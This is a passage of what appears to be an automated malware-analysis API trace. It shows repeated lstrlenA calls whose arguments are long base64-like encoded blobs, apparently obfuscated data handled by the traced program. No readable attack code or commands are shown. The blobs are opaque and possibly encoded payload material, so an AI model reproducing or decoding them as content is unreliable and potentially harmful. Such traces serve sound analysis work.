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") returned 5792 [0163.810] lstrlenA (lpString="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") returned 5792 [0163.810] lstrlenA (lpString="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") returned 5792 [0163.810] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt24RyU2fVTUqh3d1nkQh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIf+0N28mb2vr3aXchTdD+WbBKQdz0Gu/4kKWBVtcKvqkzx8GVFxBSMUV2JZb+3ouUYyRhgbF/uI7lfPRVYtSPztoHz6H4GzWrALB56M8BFeWraI6KtmzyKB1ILtZvS1fDmo/z7N6EcyEUZAW+NLuqwnFFhm7h8ZWHuh3GruC/eVcGETHY3L7aejps7DMbpHKif7b2AjdvFTQepGXLPyTjM9lPaesuuR1CoZtJeTHbIBMZIZTgNgSFJ2rrr59CB46LZ+OaOOCaA1q